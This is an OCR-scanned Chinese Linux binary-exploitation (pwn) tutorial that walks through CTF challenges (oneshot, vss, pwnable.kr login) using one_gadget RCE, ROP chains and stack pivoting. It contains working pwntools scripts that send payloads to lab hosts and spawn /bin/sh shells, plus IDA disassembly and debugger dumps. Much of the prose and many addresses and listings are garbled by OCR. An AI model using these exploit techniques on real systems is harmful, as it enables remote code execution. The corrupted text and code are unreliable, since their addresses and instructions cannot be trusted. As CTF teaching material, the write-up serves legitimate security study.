payload += pé4 (binsh_addr) #rdi = &("/bin/sh\x00")

payload += pb64(system_addr) #A B systemBHH {Tsystem("/bin/sh")

payload = payload. | just (200, "B") #padding

io. send (pay load)

io. interactive ()

HANNBHE = eadgetiBE WM AHone gadget RCE, MBZE Y, BiT—gadgetmIZMITHG, B
getshel |, FA1ETHIF"/TICTF 2016-oneshot/oneshoti@Ex— T iXNgadget BB -

EH X Ngadget, KINNEE—PITNIFER | ibcF1— T Eone gadget (https://github. com/david942 i/
one_gadget) . IXTEFiIZEEGE, HUBIEEER
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- LEXL I HUDUUUBUDI4BUD4D pubLIL WAL
.text:0000000000400646 main proc near ; DATA XREF: _start+1DTo
.text:0000000600400646

.text:0000000000400646 var_8 = quord ptr -8

.text:0000000000400646

.text:0000000000400646 push rbp

.text:0000000000400647 mov rbp, rsp

.text:000000000040064A sub rsp, 18h

.text:000000000840064E mov rax, cs:stdout@RGLIBC_2_2_5
.text:0000000000400655 mov esi, 0 ; buf
.text:000000000040065A mov rdi, rax s stream
.text:000000000040065D call _setbuf

.text:0000000000400662 mov edi, offset s ; "Read location?"
.text:0000000000400667 call _puts

.text:00000000046066C lea rax, [rbp+var 8]

.text:0000000000400670 mov rsi, rax

.text:0000000000400673 mov edi, offset aLd ; "%1d"
.text:0000000000400678 mov eax, @

.text:000000000840067D call ___isucﬂg_scanf

.text:P000000000460682 mov rax, [rbp+var_8]

.text:0000000000400686 mov rax, [rax]

.text:0000000000400689 mov rsi, rax

.text:000000000040068C mov edi, offset format ; ""Value: Bx%0161x\n"
.text:0000000000400691 mov eax, 0

.text:0000000000400696 call _printf

.text:0000000000400698 mov edi, offset aJuanDcatinn? ; "Jump location?™
.text:900000ABOOLAA6AH call uts

.text:00008000804006A5 mear_S]

.text:0000000000400609 mov rsi, rax

.text:00000000004006AC mov edi, offset aLd ; "%1d"
.text:00000000004006B1 mov eax, @

.text:P00AOO000OLA06BG call ___iso0c99_scanf

.text:00000000004006BB mov edi, offset aGoodLuck ; "Good luck?!"
.text:0000P0000OLODGCO call _puts

.text:00000000004006C5 mov rax, [rbp+var_8]

.text:00000000004006C9 mov rdx, rax

.text:000000000040806CC mov eax, 0

.text:00000000004006D1 call rdx

.text:P000GO000OHE06D3 leave

.text:00000000004006D4% retn

.text:00000006004806D4 main endp

.text:00000000084006D4

Ltext:00000000004006D4 ©

MELTER R IB IR (1E Rtk rbptvar 8#AEN_ is0c99 scanfBIE - NESHIKELrsi, EIMANBREFEEX
B, Mfarbptvar_8HHIABSHIRELRrax, XHWHESRrdx, mEBTcal |l rdxifliT. HERIRFENMA—
MF, XIMFSW LRI FERcal HARA. RTREEEHI4FET, HIIMEZEMZone gadget RCESR—
Fgetshel |, Ffi1iEiZone gadgetk Fl|—Ltgadget :




||‘ie
(IJ igiiﬁ)k b
:~# one gadget libc.so.6 x64

526 execve("/bin/sh", rsp+0x30, environ)
== NULL

0x4557a execve("/bin/sh", DX environ)
nstraints:
[ x30] == NULL

0xf1651 execve("/bin/sh", rsp+0x40, environ)
Lral .
[rsp+0x40] == NULL

0xf24cb execve("/bin/sh", rsp+0x60, environ)
ai -
[rsp+0x60] == NULL

BINER X Lgadget BARFEM . MIVEFE—F, EXRrax=0, FAMGZMAZHITIL:

from pwn import *

one_gadget rce = 0x45526

#one gadget libc. so. 6 x64

#0x45526 execve ("/bin/sh", rsp+0x30, environ)
#constraints:

# rax == NULL

setbuf_addr = 0x77f50

setbuf _got = 0x600ae0

io = remote ("172.17.0.2", 10001)
io. sendl ine (str (setbuf_got))

io. recvuntil ("Value: ")
setbuf _memory addr = int(io.recv() [:18], 16)

io. sendl ine (str (setbuf_memory_addr — (setbuf_addr — one_gadget rce)))

io. interactive ()
#iT7Hcal | rdxRfrax = 0

IDA View-RIF O & x | PGeneral registers
LERRE I N0RIN0RIIBN BNGAT ROV rsi, rax ~ | RAK DOopDORODOORDIOR
s i e R RBK O0ARIABRNNRRNIND
Ltext: nov pax, @ ;
Lokt : 0R0DDORDIONINGE call i50099_scanf et ponh il

] 07 10000 DU 2
Lert D 00Ri00RBIaN NG D call puts RS1 00007F 000AN0RAND w 1ibe 0
L] RO Doapnaaeoaosnng
ROP QOOBTFFFSRIRECE o | Lo
RSP DOABTFFFARZIREND o | ctack]
RIF DOBROO00DOABDSDT w maimeRB

: RE OOO0TFODOGOFSTOB w e 00 00
LLexE:IAR00IRI0AN NG Raln endp RY nOaROIARIOEIIEN
LEXEIOOR00OROUDNIOG0Y R18 000ROODRNUOBAIDA
.text: ARBDAARDISL BOGDY R11 S00BHORBMERIRNG 1
te HORED0ARING0S align 20N

btk S R12 DOODODBRDOABISEE v start

getshel | BRI




QEME

>>> io.sendline(str(setbuf memory addr - (setbuf addr - one gadget rce)))
#i8 17 {R # i+ @ one gadget rceT®E A TF A Hb &t

>>> io.interactive()

[*] Switching to interactive mode

140587273938214"JGood luck!

flag. txt libc.so.6 1linux serverx64 oneshot



https://bbs.ichunqiu.com/thread-42530-1-1.html

QEM|E i STRETISETER

Linux pwn A3k (Q)—il Bk a5
{f#: Tangerine@SAINTSEC

EEERRENERFR D, SEHERIISHR—LREXAE, FlanEHFETEK ), ASLREE L ibiE
RTINS, $H3TixLeaf, H#i1EHMEEERiTgadgetsBEMKMITERBE. AN EESIEMResp
18, TSR FTHEKebpfEFH#H Tstack pivotZE,

l0x00 fE8espi kit Zia

Bisek i — T MEMespd Ai&==iE. FTFGIF /Alictf 2016-vss/vss, FHTEIIXE—MOARIENIER
BT EREESHEFstrip®SRBHS, BENEFEERI L/, H1%HKBImainE

-text:0000000000400F 7E
-text:PODODODOPOLBBFTE public start
-text:0000000OBOOLOOF7E start proc near
-text:POROROBPORLBBFTE Xor ebp, ebp
-text:0000000000400F80 mov r9, rdx
text:PODOROBDORLBDFE3 pop rsi
-text:0000000000400F 8L, mov rdx, rsp
.text:0000000000400F87 and rsp, BFFFFFFFFFFFFFFFBh
-text:POOODOOODOLOBF BB push rax
text:PO0ODOOODOLOOFBC push rsp
-text:00000000004006F 8D mov r8, offset sub_4861948
text:0000000000L0B0F9L mov rcx, offset loc_LB18B6
-text:00000000004006F 9B mov rdi, offset sub_4611B1
-text:0000000000400FA2 call sub_4B81248
.text:0000000000400FA2 start endp
.text GGGGGGGGGGHGGFM

EXT I UHUNNENUBBL Y ; HTLTF1DUTeS: Noreturn
.text BBBBBBBBBMBETE
.text:00000000004006F 7E public start
.text:0000000000400F7E start proc near
.text:00000000004006F 7E xor ebp, ebp
.text:0000000000400F80 mov r9, rdx
.text:0000000000400F83 pop rsi
-text:00POOOOOOBLOOFBY mov rdx, rsp
.text:00000000004606F87 and rsp, OFFFFFFFFFFFFFFF Bh
-text:000OPODOOO4OOF BB push rax
.text:0000000000400F8C push rsp
.text:00000000004B0F 8D mov r8, offset sub_u481948
.text:0000000000400F 94 mov rcx, offset loc_4618B8@
.text:0000000000466F 9B mov rdi, offset main
.text:0000000000400FA2 call __libec_start_main
.text:0000000000400FA2 start endp
.text:00000000004688FA2

IDAFANEEORRHZXEHRstart, XIPMEHWZEER, cal IRNEEZ_ libc_start_main, E—1THY
offset| E@mainiR . FHAmaindB# 5, HNTATLAEDsyscal |leaxfl, SHFHE/LNRBHNETF.




QEMIE

SLEAL . UUNUBUUUUUSD § GL Y

.text:00000000004374E0 sub_437LEQ proc near ;5 CODE XREF: Sub_hﬂ11B1+1ﬁfp
" |.text:00000000004374E0 nov eax, 25h
“ |.text:00000000004374E5 syscall
" |.text:00000000004374E7 cnp rax, BFFFFFFFFFFFFFB81h
S |.text: 0000000000437 4ED jnb loc_43C558
“ |.text:00000000004374F3 retn

Ltext: 000000000043 74F3 Ssub_437H4ED endp

.text:00000000004374F3

17 sys_alarm unsigned int

seconds

sub_4374E0f§ F T S 20x25/syscal |, BFSHZERIZEHIZW—N S8, NixZalarm
-00t@58f4dbb8b1le8

sub_40888088((_ int64)"USS:Uery Secure System™); | o
sub_4B8888((__ inti4)"Password:"); ' very-accurc

S e : R Yassword:

sub_408800FFF R 2%, HSHWITENRIFERE L, FTLUENEouts
sub_437EAB(BLL, (_ int6u)evi, 1624LL);

JUURIICHY

J8B437EAD sub_A437EAD proc near ; CODE XREF: sub_uB188E+F9ip
J00437EAD = sub_4011B1+517p ...
100437EAD cmp cs:dword_6C7EFC,

J00437ERT nz short sub 437EBD

180437ERT

18B437ERT

J80437ER9

JOO437ERY ; =============== S UB R O U T I N E ===========s======ss=============
18B437ERY

J00437EAY

J00437EA? sub_437ERY proc near ; CODE XREF: suh:hﬂﬂhﬂ1+887p
J00437ERY ; sub_401240+2B81p ...
J00437EAY mov eax, 0

100437EAE syscall

100437EBD cmp rax, BFFFFFFFFFFFFFBB1h

100437EBG jnb loc_43C550

180437EBC retn

J80437EBC sub_A437ERY endp

180437EBC

180437EBD

J0O437EBD ; =============== S UB R O U T I N E =================================
100437EBD

188437E

;auusvs[E sub_A437EBD proc near ; CODE XREF: sub_u437EA@+71j
100437E

J0O437EBD var_8 = quord ptr -8

J00437EBD

J00437EBD sub rsp, 8 |

180437EC1 call sub_H43AE30

J00437ECH p+g+yar 8], rax

100437ECA

190437ECF syscall

108437ED1 ] FSp+8+var_8]
100437ED5 mov rdx, rax

100437EDS call sub_43AE?0
100437EDD mov rax, rdx

100437EED add rsp, 8

I0B437EEL cmp rax, BFFFFFFFFFFFFFBB1h
100437EEA jnb loc_43C550
10B437EF D retn

100437EFO sub_A437EBD endp

AALAZFFA

sub_437EA0Isub_437EBD, ¥ T0Zsyscall, ABM=EH, HMHread
SR Imain R AT :

i ERBTHISETY



QEME

1int _ cdecl main(int argc, const char =xargu, const char =*enup)
2K
3| char buf; // [sp+Bh] [bp-486h]E1

5 alarm{8xAu);

6| sub_4%889E@({ inté4)off_6CH798, BLL);
7| puts("VUSS:Very Secure System™);

B| puts{“Password:");

2| read(®, &buf, B0x400ulLL);

8| if ( {(unsigned int)verify{{ int64)&buf) )
1 puts{“Logined");

2| else

3 puts(“Access Deny");

4 return 8;

513

Wan g Aver ifyMERBAMRIESR, FMNAEABFHSOTHNZR, BEEEFDHAREFFHRRE

EIIEFEERLY
root@58f4dbb8ble8:~# ./vss

VSS:Very Secure System

Password:
111111111111111111111111111111121111211121312111111111111111111111111
11111111111131111111311111111311111111311111111111111111111111111111
11111111111111111

1§ N fEcal | read—1T, FHATIREE—
VSS:Very Secure System

Password:
01234567890123456789012345678901234567890123456789012345678901234

T\ B RO FE (5]

5678901234567890123456789012345678901234567890123456789012345678

[ IDA View-RIP O & x | iffGeneral registers
000A0OAGLA11CE mov rax, cs:off_6CA4790 A || RAX BOOPBBOOBEVOPBSD
s:g:::g:ﬁ::;g L ":i_’ g RBX D000DOOO0OLOD2CS o

mov rdi, rax -
BODABDEBLB11DS call  sub_4BBYED RCX 000000000043TEBD
800686004611DA mov edi, offset string ; "USS:Uery Secure System" RDX 0000000000000400 .
9900BBEBLE1IDF call  puts RS1 BO0O7FFDDS1054CH &
800000084611EL mov edi, offset aPassword ; "Password:" RDI B00G0O00B0000000 -
::gg::g::::::: ;“1 puts [rbpebuf] REF 00007FFDD51058C0 «
ea rax, rbp+bu
000000004B11F5 mov edx, 400h i count sty LA AL LAY
000080064811FR mou rsi, rax ; buf RIF 80R00ARGRDRE1Z87 L
000080004011FD mou edi, 0 ; fd RS BO0BBOOLBAGCETUD
. RO ©006006OE1DDBESD

G 990080RONB1267 lea  rax, [rbptbuf] 10 6000088080000E16 &
TpEe)  mer 1 s
09008806401216 test  eax, eax F12,88006600809000660 1%
80008060461218 jz short loc_k@1226 R13 00000000604 018B0
8000880646121 mov edi, offset alogined ; “Logined” R14 80000000804 01940
0800880B4B121F call  puts R15 B006DOOPBOODOAND -
0000121a 000000000040121A: main+€9 (Synchronized with RIP) v |[EFL 88618283
< >

3] Hex View-1

GO007FFDDS105480 20 43 6C 00 60 68 60 00 @9 60 OO 00 00 00 40 00
BOO07FFDDS105490 24 77 49 00 00 08 00 60 42 89 40 060 00 00 00 00
B0007FFDD51054A0 C8 62 40 00 60 66 60 0@ CO 58 16 D5 FD 7F 60 808 ..
BOOO7YFFDDS16054E0 00 00 00 00 60 00 00 60 07 12 40 60 00 00 00 00 ... coo
a80a7FFDD51054C0 m 31 32 33 34 35 36 37 38 392 38 31 32 33 34 35 0123456789012345
00007FFDD51685400 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 67B9O12345678901
BOOBYFFDDS10548E8 32 33 34 35 36 37 38 39 38 31 32 33 34 35 36 37 2345678901234567
0OOO7FFDDS10548F8 38 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 8991234567890123
00007YFFDDS 105560 34 35 36 37 38 39 38 31 32 33 34 35 36 37 38 39 4567890123456789
AAOA7FFDDS165518 3@ 31 32 33 34 35 36 37 38 39 39 31 32 33 34 35 0123456789012345
G0007FFDD51085520 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 6789012345678901
DO0O7FFDD5105530 32 33 34 95 36 37 98 39 30 31 32 33 34 35 36 97 2345678901234567
B0007FFDD5105540 38 39 30 31 32 33 34 3% 36 37 38 30 6A 00 80 00 89H123456789....

B0007FFDD5105550 ﬂﬂ 00 00 G0 00 PG GO 00 00 00 GO OO0 00 00 00 00 ................
BOAATEENNGY ACCA R nA OO Of BA OB GO A0 G0 G0 AR OR AR OA GO0 OO0

ylﬁverlfyﬂﬁﬂl #iTZlcal | sub_400330—1THFINITLER, HEM Hsub_4003302strncpy ()




QEMIE

| EFREHISET VER

To¥L 5U0 rsp, Zorw
0O00B00000401696 mou [rbpsuar 48], rdi RAK 00007FFFCO4B2260 v [
BR00BANON0LA109A noy [rbp+buf], B REX 00000000004002C8 + i
pO0O0DABON4DTBAZ Moy [rbp+var_28], © RCX 0DOO7FFFCO4B22BO & [5
8000880800401 0AA nou [rbp+var 28], 8
i R S
-_— L
06008000604610C2 nou dword ptr [rbp+uar 46], 6 GO CLD LR R 5 (1
00000000004010CY Moy rcx, [rbpruar 48] RBP B0067FFFCO4B22A0 & [
8008800604681 BCD lea rax, [rbp+var_%0] RSP BEBO7FFFCB4B22508 w [
00000000004010D1 nov edx, 50h RIP 0800808000401680C o ue
:::g::g::g::::g mov ":?- rcx RE 0DOOODADOOSCETLE « I
mov rdi, rax
00000000BOLA10DC call  sub_kOO330 () CLHLELIIARIET L0 3 [0
90000B00004010ET novzx  eax, byte ptr [rbprvar 40] R10 0800608080800616
8800880800481 0E5 cnp al, 7sh R11 0808008000800246 o
pO0ODDOON0LDTOE7 jnz short loc_4010FB R12 0DOOOOOOOODDOOND
1 R13 0D0ODODODOOLAIBED & .t
L] R14 0000000000401948 & su
e R15 08000080008006808
SOMOSNIOARIIED povix eax, byte pEr [ropvar We+iT]  |cri osanezes
100.00% (394,333) (582,180) 000010DC 00000000004010DC: ve (Synchronized with F
3] Hex View-1
ODOO7FFFCO4B2270 00 OO 00 00 0O OO 00 00 0D 08 00 0D 00 08 00 0O
80007FFFCE4B2286 06 08 06 0B 68 00 68 00 0B 68 06 0B 08 08 06 0O
OBAOZFFFCE4B2290 00 B0 00 08 60 A0 08 00 BO 26 4B CO FF 7F 60 00
OPOO7FFFCO4B22A0 B 26 4B CO FF 7F 00 00 16 12 40 00 00 00 00 00
BB007FFFCB4B22B0 m 31 32 33 34 35 36 37 38 39 38 31 32 33 34 35 B123456789812345
0DOO7FFFCB4B22CH 36 37 38 39 3@ 31 32 33 34 35 36 37 38 39 30 31 6789012345678901
00007FFFCO4B2200 82 33 34 35 36 37 38 39 30 91 32 33 34 35 36 37 23u5678901234567
GO007FFFCO4E22EG 38 39 38 31 32 33 34 35 36 37 38 39 30 31 32 33 8901234567890123
0DOO7FFFCO4B22F0 3% 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 4S67890123456789
60007FFFCE4B2300 86 31 32 33 34 35 36 37 38 39 38 31 32 33 34 35 0123456789612345
OBAO7FFFCE4B2310 36 37 38 39 2@ 31 32 33 34 35 36 37 38 39 38 31 A780812345678901
0DOO7FFFCO4B2320 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 23u567690123u567
60007FFFCE4E2230 38 30 36 31 32 33 34 35 36 37 38 39 0A 00 00 00 890123456789....
00007FFFCO4B2340 00 08 00 OO 08 00 0O 00 00 00 0O 08 00 00 00 00 ... ..__.......
ID4 View-RIP 0 & x 3§ Ceneral registers
! iew- eneral registers
ID4 ¥ RIP o & x| e 1 i
e rop, sun
8000800086401896 moy [rbp+var_ 48], rdi SR LA
0080008080408109A mov [rbp+buf], © RBX B0000000064002C8 «
000000000646010A2 nou [rbpsuar_28], B RCX 080A0AOROBL3IEED wu
00000000004010AR mou [rbp+uvar_20], B RDX 8008080608000000
B8060A0AAAALA16B2 mou [rbp+uar_18], @ RSI 00007FFFCB4B22F A
00000000004010BA mou [rbp+var_18], 8 D1 0B007FFFCOME22A0
B80B0A0AAAALH16C2 mov dword ptr [rbp+var 48], 6 -1
0000000004 A10CY nov rcx, [rbp+var_ 48] RBP B0007FFFCO4B22A0
00800000004010CD lea rax, [rbp+var_u0] RSP 08067FFFCO4B2250 o
000000060646106D1 mou edxz, 58h RIP 00000000DB4010E1 &
:2::::::::&33 510 e e RS 000000000BA0ODTD «
mou rdli, rax
00000000004610DC call  sub_LO9330 G¥) CLLLILLLTRAIZEEL) (3
00608080BBLO10E1 mouzx  eax, byte ptr [rbpruar 48] R100000000000000021
0000000000401 0ES cnp al, 70h R11 000000000049ABED &
00000000004010E7 jnz short loc_LO10FB R12 00060B0ODODOOOOD «
| R13 08060800084 018B0 «
R14 080BOBAANBLE1940 &
R15 060608000OA0EE00

[©] Hex View-1

FE@
0800000606481 8E? movzx eax, byte ptr [rbp+var_hio+1]

100.00% (394,333) (263, 340)

0010E1 00000000004010E1: ve (Synchronized with B

EFL 00010206




OB

[©] Hex View-1

g T 35 3_g g 35 ™
POOOTFFFCO4B2260 39 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 O123456789012345
PORO7FFFCO4B2270 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 6789012345678901
POOO7FFFCO4B2280 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 2345678901234567
JOOO7FFFCOMB2290 8901234567890123
ﬂﬂﬂ?FFFCﬂhBZZﬂﬂ B567890123456789

BBBB?FFFCBHB?ZCB 36 37 38 39 38 31 32 33 34 35 36 37 38 39 30 31 6789012345678901
O0DBO7FFFCA4B22DA 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 2345678901234567
O0OO7FFFCOMB22ED 38 39 30 31 32 33 34 35 36 37 38 39 30 31 32 33 8901234567898123
O0OO7FFFCOLMB22FO 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 K567890123456789
O0BO7FFFCO4B2366 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 0123456789012345
O00O7FFFCO4B23160 36 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 6789012345678901
O0B07FFFCO4B2326 32 33 34 35 36 37 38 39 30 31 32 33 34 3% 36 37 2345678901234567
O0BO7FFFCO4B2330 38 39 30 31 32 33 34 35 36 37 38 39 0A 00 00 B 890123456789. ...

B THIT, RIARHIE, FRRA LR T EEE Sy, EENERERE, FN#EN—AEF,
MBS B [rbprrax+dest] B HEIEREIR BT AN FFHEE B 2 oi0x66. HT BB ALK A
TRIK, EIRREENRE DR T,

IDA View-RIF [ Pseudocode-4 8 8k General registers
S ———
|088“8“88“11MI cnp eax, [rbpruar_ 4] | RAX 0DBABDOBBARA175A
oE0EEEREBBLAT1D 1 short loc_B1116 RE% 0000000800XOB2C8 & _init_proc
J 1 RCX 0DDODDODOODBITS0 w
L] v RDX “
i
-
esi, 0 ; flags 00DOOROOBONET 116 1 o yagnn .
edi, offset pathname : “pass.cnc’| [00DPOBPDOARHE1116 Toc_ 4011162 RLL BOG BLDASBRAL, [Stack]:@0007FFEGCD1SSE0
eax, B 000000B0BONE1116 mou ecx, cs:dword_6C7A98 | [REP 0BOB7FFESCD188FO hy [stack]:00BO7FFEGCDI8EFD
open BO00ABDNRDLE111C moy eax, cs:dword_6C7TA98 RSP DDOO7FFEGCDABBAD & [stack]:00BO7FFEACDISEAD
[rbp+Fd], eax 00A0ABONA0NET12; RIF BDO0DOODOOLOT12ZY W verify+96
[rbp+fd], BFFFFFFFFn [ ) )
short loc_ 481176 LEBTEELTEGLET R XOT TR, OO 9 Exception -‘an:‘.lmq
000080BEADNE112C moy edx, eax ; mode
000000000040112E mousud  rax, ecx The execution will be resumed after the exception.
B0A0ABANEBLAT131 moy [rbp+rax+dest], dl 2 . .
00DODDORBRLE1135 Moy eax, cs:dword 6C7A98 Do you want to pass the excaption to the application?
DOA0ARDNADLA113B add eax, 1
H0B00BA0RBLET113E mov cs sdvord_6C7A%8, eax 1f vou ansver ves. the awolication’s exceotion handler
| will be executed if there is one.

T 1
100.00% (335, 950) (435,21) 0000112E 000000000040112E: ve. (Synchronized with §
B Hex View—1 | Chanee exception definitien o

GO00/FFEGEDT9ERD G &8 1E ©5 00 5B 56 57 5D 55 53 5C 4C 48 1E 11 LH.._[UMJUS\LH.. | I ;
HBOOEFFFEACOT9ESE B2 5B 56 57 5D 55 53 S5C 4C 48 1F 13 108 5B 56 57 .[UW]JUS\LH...[uW -?es (Dass L3 ”n) o (discard smem (don’ t resume)

The control of the application might bhe lost.

LULIDEI ) B0 8 D ER (0 L9 ) ()2 D D R ER B [FSTod LB TIEmm—r
rbp + rax = Ox7FFE6CD1A040, 1?ﬂtﬂtﬁﬁ?“|7~]7(%\ sEif1a]

158 lneap] UUUuUUuUuUuU 1ooruuy UUuUuUuUuUuuu 1oY£uuuy 4% W L

[#] [stack] 00007FFE6CCF9000 00007FFE6CDTA000 R W. D .
@& [vvarl 00007FFE6CDCB000 00007 FFE6CDCBO00 R . . D .

FHHEMNFTEXLEBE, ZX—TERANTLME “oy” , “Elﬂiij.,T—A%I?E_chH’Jff&i“tlj

e, 1 { 0o 100 BBRBIBF1 mow eax, L 1120w [stack] BOORTFFEE6661120

ort Jucret_lmmrl 0000B0B000NOT1AN Loc_hOT1AAE DONBI0FE jmp lucre! "'l OD0OTFFEEGG61000 & [Stack]:0BORTFFEESGETI00
| 1R Rov eax, o “

| RSP DOBOTFFEESG61008 v [Stack]:DO00FFFEEAGETIDE

B P wamin,
0A0A0ADADEL T 1AF 0
AORDRADANOLATIAF locret _HOT1AF :| B . . . " "
il LTS " 4 401180 got SIGSEGV signal (Segmentation violation) (exc.code b, tid 173)
I ¥’ P
DOPOOLANEYET11BR verify endp q
HOBOANNOBEYE1 168 L]
)
# [ Don't display this message again (for this session only)
0.00% (431,1555) (527,217) 00001180 1BO: W ( i d with 1
Hex View—1 O & x | [3Stack viev

JO7FFEEGRG106A BO 1a ll o8 a0 0B ll u 9C BE 40 OB 00 00 0B 0O
J7FFEEGAG1A7A 09 E1 18 40 00 08 00 08 00
J7FFEEGAG1OER  0R ln u o8 80 08 nn u ED 18 66 E6 FE 7F 08 00

J7FFEEGAGT1A9A 7@ 79 30 31 32 33 34 35 36 37 38 39 30 31 32 33 .ymz:nsenulﬂs
107FFEEGS610AR (] 95 96 57 98 99 30 31 32 33 34 35 36 37 98 39 ASATEPM12INSE78Y
JOFFFEEGAG1OEE 30 91 82 93 34 35 96 37 38 39 30 31 32 33 94 35  G12INSETECEI2IA5
JOFFFEEGEG1OCE 36 37 38 99 30 51 92 33 34 35 96 37 98 39 90 31 ATEVEI2INS6TEM
JOFFFEEGAG1ODA 32 33 B4 35 36 37 38 39 36 31 32 33 94 35 86 37

BORO7FFEEGAG] BB

BORAFFFEEGAG1008  3534333231303938
RORO7FFEEG6G1PCA  3332313039383736
ROROFFFEEG6G1DCE  3130393837363538
ROROFFFEEG66100  3938973635303332

ROROFFFEEGGGT1PER 3534333231307970
FFE 1BE8 33328

JOFFFEEGAGIOED 7O 79 30 31 32 33 3n 35 36 37 38 39 30 31 32 33 10Fm 3
JOFFFEEGAGIOFE 34 35 38 37 38 30 30 31 32 33 3N 35 36 37 38 30 A5 10F8
JOFFFEEOAGT108 38 31 32 33 3% 35 36 37 38 39 30 31 32 33 34 35 1108 130

JOFFFEEGAG1118 30 37 38 39 30 31 32 33 34 35 36 37 38 39 30 31 @&
JOZFFEEGAGT128 32 33 34 35 36 37 38 39 30 21 32 33 34 I5 36 37
JZFFEEAAA113A 38 39 30 31 32 33 3k 35 A& 37 38 39 04 A6 OB 00 BOMIZINCATRY

1108 1303938

E 36
ROBATFFEEAAA1118  3130393R373A35AN
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BT NEHBRNBE S L IEIEKEIPRIB T strncpy EFIZIEABIHEAIOXS0N ET MR /E8T. TR

Hlibc, one gadget RCEfFEAWHR, BfEMA Tstrnopy, FHEEREEAR\x00, FE %&élﬁl?ﬁ%éﬁli‘ﬁ}%

M EEFIHSOFETHHIE AT L, XAERESEM AT S AERIx48 N FE T, EXFER T

N FEERITE K espRFTERFRFIF

JEL?E REBMNEBLZ RIS, BRAEmainREPHRNEEread RIS EIEIA T KE R0x400, =
EHE, readT%‘ﬂTuH—Eﬂ “\ 00”

| il

read(ﬂ &huf ﬂxhﬂﬂuLL),

L_Tttﬂﬁg?ﬂl]TUTEROP&WTOX50%WZF SRIGIBIT 1 Nesp AUEILARTNIAZIROPHE L. BN RE S
ac_id es_p?']'ge:d'ggt_s, ??%EU_T st R )

0x000000000046T205 : add rsp, Ox58 ;

@Ll_ Mgadget, —’ﬁzﬂ]EJZIJJ?EespE’HEi‘“ﬁ?JIJEUOxSOZ}:o ?&T?E'ﬁzﬂ]?/‘E—IUEFﬁ?ﬂ;EE’JROPB’i?klﬂ}ﬂsyS read
REL” /bin/sh\x00” F&F&, m/giERsys_execve T . HJEROPHEFNTEEEM AT

#!/usr/bin/python

#coding:utf-8

from pwn import *

context. update (arch = 'amd64', os = 'linux', timeout = 1)
io = remote ('172.17.0.3"', 10001)

payload = ""

payload += p64(0x6161616161617970) #LFHALFpy, &M

payload += "a'*0x40 #padding

payload += p64 (0x461205) #add esp, 0x58; ret

payload += "a'*8 #padding

payload += p64(0x43ae29) #pop rdx; pop rsi; ret Asys readi®BESH
pay load +=p64 (0x8) #rdx = 8

payload += p64 (0x6¢7079) #rsi = 0x6¢7079

payload += p64(0x401823) #pop rdi; ret Asys readi¥ BESH

payload += p64(0x0) #rdi =0

payload += p64(0x437ea9) #mov rax, 0; syscall JHsys read

payload += p64 (0x461208) #pop rax; ret

payload += p64(59) #rax = 0x3b

payload += p64(0x43ae29) #pop rdx; pop rsi; ret Hsys execveilTBESH
payload += p64(0x0) #rdx = 0

payload += p64(0x0) #rsi =0

payload += p64(0x401823) #pop rdi; ret Asys_execvelTBEESH
payload += p64(0x6¢7079) #rdi = 0x6¢7079

payload += p64(0x437eae) #syscal |

print io.recv()
io. send (payload)

sleep (0. 1) #FEFEFMNIT, BHlEHEE

io. send (' /bin/sh\x00")
io. interactive ()

0x01 EMi#iFstack pivot
B AT R espgadget AT ISR — L IRA], H AARBBOHTHH, BR2URNBE—PRLTRMK



DEME
BT MU NERF T REA N T . ERTIMBIILEXE
IR HER)T HORALSR, BNt z= (8% EREHL 1L .
XE—

PMERZRHN R EEHEER, TERTENRFESH
TR, BEBASS ERIRIERSGYISSI AR
INFF/BASLR. IESNHEZ, FEFFBASLRZ AT, —Mift

EREARNUEMEREN, TEEEREZ VR,
FHIEPRHEMAFNHIE REETTH . XHMEK
ERNUTUNEZERENBIESEHEXR L, REEE
TERAR BRERAD X b SERR B . 140, Ff1RIL
B—INEEFNRIPE, BREHNEFEITERE
ASLREIER G k. HTFRAASLR, BRBHNTERFAT#ih
HEER R 0x7FF0000. AFAFKAIEIZES Ashel lcodedt B
Fil FA 4% 555 HH Bk £ B Ox 7 £ FFO0005% AT LLRK Thgetshe | | o
MHASLRFF B G, BXBEFAHRFHEbHEE R
FEMLEY, tHELR IR/ EATET0x7fFf0000, R[EIR]
BETL R O0x7fe0120, XAMEURIEH jmp esp—H)
gadget, KSR Mstack pivotXFIZAR R
=— M FTHASLREFI 25

stack pivotZ FTAEE, 2EAEFIAZ|AIgadget
JLEARTEERAR . FERBERMEREES

push ebp; mov ebp, esp, TMIRHATRIFEFEEERIX
G S BN, Blleave (mov esp, ebp; pop ebp)
. Hleave— R ZIREFEret. Et, EEFEKGEH
BT, RERNIEEFRERPEebp, FHANFT
LUBIE R | eaveFi % .

| EFREHISET VER

mov esp, ebp esp | e
leave {
popebp |
retn ebp new esp
leave gadget
esp = old esp
ebp = old ebp
movesp,ebp | e
leave {
popebp | e
retn esp ebp new esp
leave gadget
esp = old ebp gadg
ebp = old ebp
ebp ???
movesp,ebp | e
leave {
popebp | e
retn new esp
esp leave gadget
esp = leave gadget
ebp = new esp

$E—leave; ret, new

ALEEIITEretnhT,

S5 T AR

esp AR ENIERY B ARitbhL.
espitFEIR KM% £, ebp2

F "R leave; ret SLFRREXRNM BN ST ERespD

new stack
ebp | e
movesp,ebp | e
e e [
pop ebp
retn | s
esp = old stack
ebp=newesp | ..
new esp
leave gadget
esp | e
new stack
esp ebp | e
movesp,ebp | e
leave { llllll
pop ebp
retn |
esp = new stack old stack
ebp=newesp | .
new esp
leave gadget

ZWBINEFEIFNR L, MiTeadget BRINS
fEnew esp—4 (641 2-8) (I E £, ERIHKTEFIE
WIS e 2 [GfEnew stack £ B HHE R LU
TRBE
HNRKE—LFRAIGIF/pwnable. kr—login/
login. XMEFRIZERE R, BMEBT—1
system( “/bin/sh” )Gl 7.

int _ cdecl main(int arge, const char ==argu, const char =xenup)

i int decodedResult; // [sp+18h] [bp-28h]@&1
i __dint1é input; // [sp+1Eh] [bp-22h]@1
!| unsigned int len; // [sp+3Ch] [bp-4h]@1

